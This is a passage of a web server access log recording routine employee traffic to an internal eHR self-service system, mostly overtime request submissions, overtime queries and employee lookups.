/eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.12.64 - - [04/Dec/2025:18:33:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:33:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:33:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:55 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.11.151 - - [04/Dec/2025:18:33:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4495 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:33:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4495 192.168.12.64 - - [04/Dec/2025:18:33:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:33:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:33:58 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.12.64 - - [04/Dec/2025:18:34:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 29 192.168.12.64 - - [04/Dec/2025:18:34:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:00 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.11.151 - - [04/Dec/2025:18:34:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:34:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:34:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:06 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 192.168.12.64 - - [04/Dec/2025:18:34:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.12.64 - - [04/Dec/2025:18:34:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 169866 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 169866 192.168.11.151 - - [04/Dec/2025:18:34:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03255160593699813 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:21 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03255160593699813 HTTP/1.1" 200 8468 192.168.11.151 - - [04/Dec/2025:18:34:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03255160593699813 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03255160593699813" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.03255160593699813 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:34:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 192.168.11.151 - - [04/Dec/2025:18:34:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:34:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 54265 192.168.11.151 - - [04/Dec/2025:18:34:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7540448101815171 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7540448101815171 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:34:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64341 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:34:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 64341 192.168.11.151 - - [04/Dec/2025:18:34:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7540448101815171 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7540448101815171" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:34:54 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.7540448101815171 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:35:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:35:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:11 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4282 192.168.11.151 - - [04/Dec/2025:18:35:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:35:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29946923496763334 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29946923496763334 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:35:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46899505078231474 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:35:33 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46899505078231474 HTTP/1.1" 200 55332 192.168.11.151 - - [04/Dec/2025:18:35:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29946923496763334 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29946923496763334" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.29946923496763334 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46899505078231474 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46899505078231474" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:35:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.46899505078231474 HTTP/1.1" 200 57512 192.168.12.64 - - [04/Dec/2025:18:35:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:35:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.151 - - [04/Dec/2025:18:35:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:45 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4074 192.168.12.64 - - [04/Dec/2025:18:35:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:35:46 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:35:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:35:47 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:36:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9945155962257164 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:00 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9945155962257164 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:36:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8555618556292007 HTTP/1.1" 200 55332 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:02 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8555618556292007 HTTP/1.1" 200 55332 192.168.11.151 - - [04/Dec/2025:18:36:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23602585815345467 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:06 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23602585815345467 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:36:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8555618556292007 HTTP/1.1" 200 57512 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8555618556292007" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:06 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8555618556292007 HTTP/1.1" 200 57512 192.168.12.64 - - [04/Dec/2025:18:36:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:12 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.12.64 - - [04/Dec/2025:18:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:36:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:36:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23602585815345467 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23602585815345467" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:16 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23602585815345467 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:36:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4285 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:36:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 